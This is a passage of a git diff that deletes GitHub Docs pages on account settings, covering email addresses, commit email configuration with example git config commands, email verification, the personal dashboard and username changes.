a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Changing your primary email address -intro: To change your primary email address, you'll add a new email, then delete the old one. -redirect_from: - - /articles/changing-your-primary-email-address - - /github/setting-up-and-managing-your-github-user-account/changing-your-primary-email-address - - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - Notifications -shortTitle: Primary email address ---- - -You can change the email address associated with your personal account at any time. You cannot change your primary email address to an email that is already set to be your backup email address. - -{% ifversion ghec %} - ->[!NOTE] This article **does not apply** to {% data variables.enterprise.prodname_managed_users %}. To change your email address as a {% data variables.enterprise.prodname_managed_user %}, contact the administrator for your company's identity provider (IdP). Your primary email address is the first one assigned to you in the IdP. - -{% endif %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.emails %} -1. If you'd like to add a new email address to set as your primary email address, under "Add email address", type a new email address and click **Add**. -1. Under "Primary email address", use the drop-down menu to click the email address you'd like to set as your primary email address, and click **Save**. -1. To remove the old email address from your account, next to the old email, click {% octicon "trash" aria-label="The trash symbol" %}. -{% ifversion fpt or ghec %} -1. Verify your new primary email address. Without a verified email address, you won't be able to use all of {% data variables.product.github %}'s features. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address). -{% endif %} diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md deleted file mode 100644 index d01bf1dec755..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Managing email preferences -intro: 'You can add or change the email addresses associated with your account. You can also manage emails you receive from {% data variables.product.github %}.' -redirect_from: - - /categories/managing-email-preferences - - /articles/managing-email-preferences - - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - Notifications -children: - - /adding-an-email-address-to-your-github-account - - /changing-your-primary-email-address - - /verifying-your-email-address - - /setting-a-backup-email-address - - /setting-your-commit-email-address - - /blocking-command-line-pushes-that-expose-your-personal-email-address - - /remembering-your-github-username-or-email - - /types-of-emails-github-sends - - /managing-marketing-emails-from-github -shortTitle: Manage email preferences ---- diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github.md deleted file mode 100644 index e9a4017064ba..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Managing marketing emails from GitHub -intro: 'In addition to notifications and account emails, {% data variables.product.prodname_dotcom %} occasionally sends marketing emails with news and information about our products. If you unsubscribe from existing marketing emails, you won''t be included in future campaigns unless you change your {% data variables.product.prodname_dotcom %} email settings.' -redirect_from: - - /articles/managing-marketing-emails-from-github - - /github/setting-up-and-managing-your-github-user-account/managing-marketing-emails-from-github - - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github -versions: - fpt: '*' - ghec: '*' -topics: - - Accounts - - Notifications -shortTitle: Marketing emails ---- - -## About {% data variables.product.prodname_dotcom %} marketing emails - -{% data reusables.accounts.marketing-emails %} - -## Managing {% data variables.product.prodname_dotcom %} marketing emails - -If you have subscribed to {% data variables.product.prodname_dotcom %} marketing emails, you can choose which types of topics you still want to be informed about, and which topics you no longer want to receive updates on. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.emails %} -{% data reusables.user-settings.email-preferences %} -1. To stop receiving emails for a particular topic, deselect the checkbox next to that topic. -1. Click **Save subscription preferences**. - -## Unsubscribing from {% data variables.product.prodname_dotcom %} marketing emails - -You can choose to unsubscribe from all {% data variables.product.prodname_dotcom %} marketing emails. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.emails %} -{% data reusables.user-settings.email-preferences %} -1. Select **Unsubscribe from all topics**. -1. Click **Save subscription preferences**. - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends) -* [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md deleted file mode 100644 index fca0214c2b0f..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Remembering your GitHub username or email -intro: 'Are you signing in for the first time in a while? If so, welcome back! If you can''t remember the username for your personal account, you can try these methods for remembering it.' -redirect_from: - - /articles/oh-noes-i-ve-forgotten-my-username-email - - /articles/oh-noes-i-ve-forgotten-my-username-or-email - - /articles/remembering-your-github-username-or-email - - /github/setting-up-and-managing-your-github-user-account/remembering-your-github-username-or-email - - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - Notifications -shortTitle: Find your username or email ---- - - -## {% data variables.product.prodname_desktop %} users - -{% mac %} - -1. In the **GitHub Desktop** menu, click **Preferences**. -1. In the Preferences window, verify the following: - * To view your {% data variables.product.github %} username, click **Accounts**. - * To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary email](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address). - -{% endmac %} - -{% windows %} - -1. In the **File** menu, click **Options**. -1. In the Options window, verify the following: - * To view your {% data variables.product.github %} username, click **Accounts**. - * To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary email](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address). - -{% endwindows %} - -## Finding your username in your `user.name` configuration - -During set up, you may have [set your username in Git](/get-started/git-basics/setting-your-username-in-git). If so, you can review the value of this configuration setting: - -```shell -$ git config user.name -# View the setting -YOUR-USERNAME -``` - -## Finding your username in the URL of remote repositories - -If you have any local copies of personal repositories you have created or forked, you can check the URL of the remote repository. - -> [!TIP] -> This method only works if you have an original repository or your own fork of someone else's repository. If you clone someone else's repository, their username will show instead of yours. Similarly, organization repositories will show the name of the organization instead of a particular user in the remote URL. - -```shell -$ cd YOUR-REPOSITORY -# Change directories to the initialized Git repository -$ git remote -v -origin https://{% data variables.product.product_url %}/YOUR-USERNAME/YOUR-REPOSITORY.git (fetch) -origin https://{% data variables.product.product_url %}/YOUR-USERNAME/YOUR-REPOSITORY.git (push) -``` - -Your username is what immediately follows the `https://{% data variables.product.product_url %}/`. - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address) -{% endif %} diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-a-backup-email-address.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-a-backup-email-address.md deleted file mode 100644 index 6a86b6913623..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-a-backup-email-address.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Setting a backup email address -intro: 'Use a backup email address as an additional destination for security-relevant account notifications and to securely reset your password if you can no longer access your primary email address.' -redirect_from: - - /articles/setting-a-backup-email-address - - /github/setting-up-and-managing-your-github-user-account/setting-a-backup-email-address - - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - Notifications -shortTitle: Set backup email address ---- -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.emails %} -1. Under "Backup email address," use the dropdown menu to select the address you want to set as your backup email address. -1. Click **Save**. - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences) -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md deleted file mode 100644 index 0c5487cbfcd6..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Setting your commit email address -intro: 'You can set the email address that is used to author commits on {% data variables.product.github %} and on your computer.' -redirect_from: - - /articles/keeping-your-email-address-private - - /articles/setting-your-commit-email-address-on-github - - /articles/about-commit-email-addresses - - /articles/git-email-settings - - /articles/setting-your-email-in-git - - /articles/set-your-user-name-email-and-github-token - - /articles/setting-your-commit-email-address-in-git - - /articles/setting-your-commit-email-address - - /github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address - - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - Notifications -shortTitle: Set commit email address ---- -## About commit email addresses - -{% data variables.product.github %} uses your commit email address to associate commits with your account on {% data variables.product.github %}. You can choose the email address that will be associated with the commits you push from the command line as well as web-based Git operations you make. - -For web-based Git operations, you can set your commit email address on {% data variables.product.github %}. For commits you push from the command line, you can set your commit email address in Git. - -{% ifversion fpt or ghec %}Any commits you made prior to changing your commit email address are still associated with your previous email address.{% else %}After changing your commit email address on {% data variables.product.github %}, the new email address will be visible in all of your future web-based Git operations by default. Any commits you made prior to changing your commit email address are still associated with your previous email address.{% endif %} - -{% ifversion fpt or ghec %} - -> [!NOTE] -> {% data reusables.user-settings.no-verification-disposable-emails %} - -{% endif %} - -{% ifversion fpt or ghec %}To use your `noreply` email address for commits you push from the command line, use that email address when you set your commit email address in Git. To use your `noreply` address for web-based Git operations, set your commit email address on GitHub and choose to **Keep my email address private**. - -You can also choose to block commits you push from the command line that expose your personal email address. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address).{% endif %} - -To ensure that commits are attributed to you and appear in your contributions graph, use an email address that is connected to your account on {% data variables.product.github %}{% ifversion fpt or ghec %}, or the `noreply` email address provided to you in your email settings{% endif %}. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account). - -{% ifversion fpt or ghec %} - -<a name="about-no-reply-email"></a> - -> [!NOTE] -> If you created your account _after_ July 18, 2017, your `noreply` email address is an ID number and your username in the form of <code>ID+USERNAME@users.noreply.github.com</code>. If you created your account _prior to_ July 18, 2017, and enabled **Keep my email address private** prior to that date, your `noreply` email address is <code>USERNAME@users.noreply.github.com</code>. You can get an ID-based `noreply` email address by selecting (or deselecting and reselecting) **Keep my email address private** in your email settings. - -If you use your `noreply` email address for {% data variables.product.github %} to make commits and then change your username, those commits will not be associated with your account. This does not apply if you're using the ID-based `noreply` address from {% data variables.product.github %}. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username).{% endif %} - -## Setting your commit email address on {% data variables.product.github %} - -{% data reusables.files.commit-author-email-options %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.emails %} -{% data reusables.user-settings.add_and_verify_email %} -{% data reusables.user-settings.select_primary_email %}{% ifversion fpt or ghec %} -{% data reusables.user-settings.keeping_your_email_address_private %}{% endif %} - -## Setting your commit email address in Git - -You can use the `git config` command to change the email address you associate with your Git commits. The new email address you set will be visible in any future commits you push to {% data variables.product.github %} from the command line. Any commits you made prior to changing your commit email address are still associated with your previous email address. - -### Setting your email address for every repository on your computer - -{% data reusables.command_line.open_the_multi_os_terminal %} - -1. {% data reusables.user-settings.set_your_email_address_in_git %} - - ```shell - git config --global user.email "YOUR_EMAIL" - ``` - -1. {% data reusables.user-settings.confirm_git_email_address_correct %} - - ```shell - $ git config --global user.email - email@example.com - ``` - -1. {% data reusables.user-settings.link_email_with_your_account %} - -### Setting your email address for a single repository - -{% data variables.product.github %} uses the email address set in your local Git configuration to associate commits pushed from the command line with your account on {% data variables.product.github %}. - -You can change the email address associated with commits you make in a single repository. This will override your global Git configuration settings in this one repository, but will not affect any other repositories. - -{% data reusables.command_line.open_the_multi_os_terminal %} - -1. Change the current working directory to the local repository where you want to configure the email address that you associate with your Git commits. -1. {% data reusables.user-settings.set_your_email_address_in_git %} - - ```shell - git config user.email "YOUR_EMAIL" - ``` - -1. {% data reusables.user-settings.confirm_git_email_address_correct %} - - ```shell - $ git config user.email - email@example.com - ``` - -1. {% data reusables.user-settings.link_email_with_your_account %} diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends.md deleted file mode 100644 index aa6ac48b4c2f..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Types of emails GitHub sends -intro: 'There are several types of emails you can receive from {% data variables.product.github %}, including notifications, account information, customer research invitations, and marketing communications.' -redirect_from: - - /articles/types-of-emails-github-sends - - /github/setting-up-and-managing-your-github-user-account/types-of-emails-github-sends - - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends -versions: - fpt: '*' - ghec: '*' -topics: - - Accounts - - Notifications -shortTitle: Emails from GitHub ---- -## Notification emails - -You can choose to receive some or all of your activity notifications via email. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). Notification emails can include: - -* Security-related activity on repositories you have admin access to -* Activity on repositories you're watching -* Conversations you're participating in -* Conversations where you've been @mentioned -* Pushes to pull requests you're participating in -* Invitations to collaborate in an organization or repository -* Your own activity, such as opening, commenting on, or closing issues and pull requests - -You can also choose which type of email updates you'd like to receive on conversations you're participating in or watching. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications). - -## Account emails - -If you've upgraded to paid products or features, then you'll receive billing receipts at the account's primary email address. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/setting-your-billing-email). - -## Customer research emails - -{% data variables.product.company_short %} occasionally seeks customers to participate in research sessions to help us build a better GitHub. These are conducted remotely, open to customers worldwide, and may include: - -* Feedback surveys -* Research interviews -* Usability testing sessions -* Previewing early prototypes or concepts - -These emails are infrequent and you can choose whether or not to participate. If you're interested in additional opportunities to participate in research sessions, you may add yourself to the GitHub Customer Research Panel. For more information, see [GitHub Customer Experience Research](https://cxr.github.com). - -## Marketing emails - -{% data reusables.accounts.marketing-emails %} - -For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github). diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address.md deleted file mode 100644 index 174f310914d3..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Verifying your email address -intro: 'Verifying your primary email address ensures strengthened security, allows {% data variables.product.prodname_dotcom %} staff to better assist you if you forget your password, and gives you access to more features on {% data variables.product.prodname_dotcom %}.' -redirect_from: - - /articles/troubleshooting-email-verification - - /articles/setting-up-email-verification - - /articles/verifying-your-email-address - - /github/getting-started-with-github/verifying-your-email-address - - /github/getting-started-with-github/signing-up-for-github/verifying-your-email-address - - /get-started/signing-up-for-github/verifying-your-email-address -versions: - fpt: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Verify your email address ---- - -## About email verification for personal accounts - -You can verify your email address after signing up for a new account, or when you add a new email address. If an email address is undeliverable or bouncing, it will be unverified. - -If you do not verify your email address, you will not be able to: -* Create or fork repositories -* Create issues or pull requests -* Comment on issues, pull requests, or commits -* Authorize {% data variables.product.prodname_oauth_app %} applications -* Generate {% data variables.product.pat_generic %}s -* Receive email notifications -* Star repositories -* Create or update projects -* Create or update gists -* Create or use {% data variables.product.prodname_actions %} -* Sponsor developers with {% data variables.product.prodname_sponsors %} -* Accept organization invitations - -> [!WARNING] -> * {% data reusables.user-settings.no-verification-disposable-emails %} -> * {% data reusables.user-settings.verify-org-approved-email-domain %} - -## About email verification for {% data variables.enterprise.prodname_managed_users %} - -For Enterprise Managed Users (EMUs), email addresses are no longer automatically verified. This prevents unauthorized access and potential data leaks from third-party {% data variables.product.prodname_github_apps %} and OAuth applications that rely on email addresses as a primary identifier. - ->[!NOTE] If you are a member of an {% data variables.enterprise.prodname_emu_enterprise %} and your account was created after August 1st, 2024, your email address is unverified by default. - -Having an unverified email address does not affect most actions you can take on {% data variables.product.prodname_dotcom %}. However, we **recommend email verification** to prevent potential exploitation of third-party {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} which may not have followed our best practices around secure authentication methods for apps (see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/best-practices-for-creating-an-oauth-app) and [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/best-practices-for-creating-a-github-app)). - -Until you verify your email address, your account will use a placeholder email address with your enterprise's shortcode appended for certain operations. For example, the [AUTOTITLE](/rest/users/users) and [AUTOTITLE](/rest/users/emails) will return `email+shortcode@domain.com`. In rare cases, you may find that your company's email provider does not handle the placeholder email correctly, or that the placeholder prevents you from accessing some third-party {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}. - -You cannot verify an email address for your {% data variables.enterprise.prodname_managed_user %} if the email address is already verified by another account on {% data variables.product.prodname_dotcom_the_website %}. To verify the email, you will need to unverify the email address on the conflicting account, then verify it for your {% data variables.enterprise.prodname_managed_user %}. See [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address). - -Once you verify an email with a {% data variables.enterprise.prodname_managed_user %}, you won't be able to use the email to sign up for a personal account on {% data variables.product.prodname_dotcom_the_website %}. - ->[!NOTE] If you need to use the same email address for both your {% data variables.enterprise.prodname_managed_user %} and another {% data variables.product.github %} account (for example, for innersource, open source, or other valid use cases), you must sign in to your managed user account and unverify the email in your account settings. -> -> The email will still be linked to your managed user account, so you can continue signing in through your organization's or enterprise's identity provider (IdP). However, because the email is unverified, it may affect your access to third-party applications that identify users based solely on email address. - -## Verifying your email address - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.emails %} -1. Under your email address, click **Resend verification email**. - - ![Screenshot of email addresses on the "Emails" page. Under an email address, a link, labeled "Resend verification email," is outlined in orange.](/assets/images/help/settings/email-verify-button.png) -1. {% data variables.product.prodname_dotcom %} will send you an email with a link in it. After you click that link, you'll be taken to your {% data variables.product.prodname_dotcom %} dashboard and see a confirmation banner. - -## Troubleshooting email verification - -### Unable to send verification email - -{% data reusables.user-settings.no-verification-disposable-emails %} - -### Error page after clicking verification link - -The verification link expires after 24 hours. If you don't verify your email within 24 hours, you can request another email verification link. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address#verifying-your-email-address). - -If you click on the link in the confirmation email within 24 hours and you are directed to an error page, you should ensure that you're signed into the correct account on {% data variables.product.github %}. - -1. Sign out of your account. -1. Quit and restart your browser. -1. Sign in to your account. -1. Click on the verification link in the email we sent you. - -### Email is already verified by another user - -If you see the error message `Error adding EMAIL: Email is already verified by another user`, you must either unverify the email for the other account before proceeding, or choose a different email address to verify. - -To unverify an email address, delete it in your email settings, then optionally re-add it without verifying to keep any commits linked to your account. See [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address). - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-available-for-hire.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-available-for-hire.md deleted file mode 100644 index 4f2ed182f0bc..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-available-for-hire.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: About 'Available for hire' -intro: When you select **Available for hire**, you indicate that you're open to job opportunities. -redirect_from: - - /articles/what-does-the-available-for-hire-checkbox-do - - /github/setting-up-and-managing-your-github-user-account/what-does-the-available-for-hire-checkbox-do - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/what-does-the-available-for-hire-checkbox-do - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do -versions: - fpt: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Available for hire ---- - -When you select **Available for hire** and someone uses the REST API to get public and private information about authenticated users, the `hireable` field returns `true`. For more information, see [AUTOTITLE](/rest/users/users) in the REST API documentation. - -{% data reusables.user-settings.access_settings %} - -1. Under Jobs Profile, select **Available for hire**, then click **Save jobs profile**. diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-your-personal-dashboard.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-your-personal-dashboard.md deleted file mode 100644 index bf6180a8a0ce..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-your-personal-dashboard.md +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: About your personal dashboard -redirect_from: - - /hidden/about-improved-navigation-to-commonly-accessed-pages-on-github - - /articles/opting-into-the-public-beta-for-a-new-dashboard - - /articles/about-your-personal-dashboard - - /github/setting-up-and-managing-your-github-user-account/about-your-personal-dashboard - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard -intro: 'You can visit your personal dashboard to keep track of issues and pull requests you''re working on or following, navigate to your top repositories and team pages, stay updated on recent activities in organizations and repositories you''re subscribed to, and explore recommended repositories.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Your personal dashboard ---- - -## Accessing your personal dashboard - -Your personal dashboard is the first page you'll see when you sign in on {% data variables.product.github %}. - -To access your personal dashboard once you're signed in, click the {% octicon "mark-github" aria-label="The github octocat logo" %} in the upper-left corner of any page. - -## Finding your recent activity - -In the "Recent activity" section of your news feed, you can quickly find and follow up with recently updated issues and pull requests you're working on. Under "Recent activity", you can preview up to 4 recent updates made in the last two weeks. - -{% data reusables.dashboard.recent-activity-qualifying-events %} - -## Finding your top repositories and teams - -In the global navigation menu, you can access the top repositories and teams you use. To open the menu, select {% octicon "three-bars" aria-label="Open global navigation menu" %} at the top left of any page. - - ![Screenshot of the navigation bar on {% data variables.product.github %}. The "Open global navigation menu" icon is outlined in dark orange.](/assets/images/help/navigation/global-navigation-menu-icon.png) - -The list of top repositories is automatically generated, and can include any repository you have interacted with, whether it's owned directly by your account or not. Interactions include making commits and opening or commenting on issues and pull requests. The list of top repositories cannot be edited, but repositories will drop off the list 1 year after you last interacted with them. - -You can also find a list of your recently visited repositories, teams, and projects when you click into the search bar at the top of any page on {% data variables.product.github %}. - -## Staying updated with activity from the community - -{% ifversion feed %} - -> [!NOTE] -> The new feed is currently in {% data variables.release-phases.public_preview %} and subject to change. - -The feed is designed to help you discover relevant content from projects you follow, keep up with your friends and community members, and track recent activity in your communities. - -You can use the **{% octicon "filter" aria-hidden="true" %} Filter** dropdown in the upper right corner to filter the feed to show only the exact event types you'd like to see. For example, you'll see updates when someone you follow: - -* Stars a repository -* Follows another user -* Creates a public repository -* Opens an issue or pull request with `help wanted` or `good first issue` label on a repository you're watching -* Pushes commits to a repository you watch -* Forks a public repository -* Publishes a new release - -{% else %} -The main section of your dashboard has two activity feeds: - -* Following: Activity by people you follow and from repositories you watch. -* For you: Activity and recommendations based on your {% data variables.product.github %} network. - -### Following feed - -This feed shows activity from repositories and users you have shown a direct interest in, by following a user or watching a repository. For example, you'll see updates when a user you follow: - -* Stars a repository. -* Follows another user. -* Creates a public repository. -* Opens an issue or pull request with "help wanted" or "good first issue" label on a repository you're watching. -* Pushes commits to a repository you watch. -* Forks a public repository. -* Publishes a new release. - -For more information about following people and starring repositories, see [AUTOTITLE](/get-started/exploring-projects-on-github/following-people) and [AUTOTITLE](/get-started/exploring-projects-on-github/saving-repositories-with-stars). - -### For you feed - -> [!NOTE] -> This new tab is currently in {% data variables.release-phases.public_preview %} and subject to change. - -This feed shows activity and recommendations based on your network on {% data variables.product.github %}. It's designed to provide updates that inspire you, keep you up-to-date, and help you find new communities you want to participate in. Your network includes: - -* Repositories you have starred -* Repositories you've contributed to -* Users you follow or sponsor -* Users you've collaborated with -* Organizations you follow - -{% endif %} - -## Exploring recommended repositories - -In the "Explore repositories" section on the right side of your dashboard, you can explore recommended repositories in your communities. Recommendations are based on repositories you've starred or visited, the people you follow, and activity within repositories that you have access to.{% ifversion fpt or ghec %} For more information, see [AUTOTITLE](/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github).{% endif %} - -## Further reading - -* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username.md deleted file mode 100644 index ea05e310684c..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Changing your GitHub username -intro: 'You can change the username for your account on {% data variables.product.prodname_dotcom %}{% ifversion ghes %} if your instance uses built-in authentication{% endif %}.' -redirect_from: - - /articles/how-to-change-your-username - - /articles/changing-your-github-user-name - - /articles/renaming-a-user - - /articles/what-happens-when-i-change-my-username - - /articles/changing-your-github-username - - /github/setting-up-and-managing-your-github-user-account/changing-your-github-username - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Change your username ---- - -{% ifversion ghec or ghes %} - -{% ifversion ghec %} - -> [!NOTE] -> Members of an {% data variables.enterprise.prodname_emu_enterprise %} cannot change usernames. Your enterprise's IdP administrator controls your {% data variables.product.github %} username. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). - -{% elsif ghes %} - -> [!NOTE] -> If you sign into {% data variables.location.product_location %} with LDAP credentials or single sign-on (SSO), only your local administrator can change your username. For more information about authentication methods for {% data variables.product.prodname_ghe_server %}, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise). - -{% endif %} - -{% endif %} - -## About username changes - -You can change your username to another username that is not currently in use.{% ifversion fpt or ghec %} If the username you want is not available, consider other names or unique variations. Using a number, hyphen, or an alternative spelling might help you find a similar username that's still available. - -If you hold a trademark for the username, you can find more information about making a trademark complaint on our [Trademark Policy](/free-pro-team@latest/site-policy/content-removal-policies/github-trademark-policy) page. - -If you do not hold a trademark for the name, you can choose another username or keep your current username. {% data variables.contact.github_support %} cannot release the unavailable username for you. For more information, see [Changing your username](#changing-your-username).{% endif %} - -After changing your username, your old username becomes available for anyone else to claim. Most references to your repositories under the old username automatically change to the new username. However, some links to your profile won't automatically redirect. - -{% data 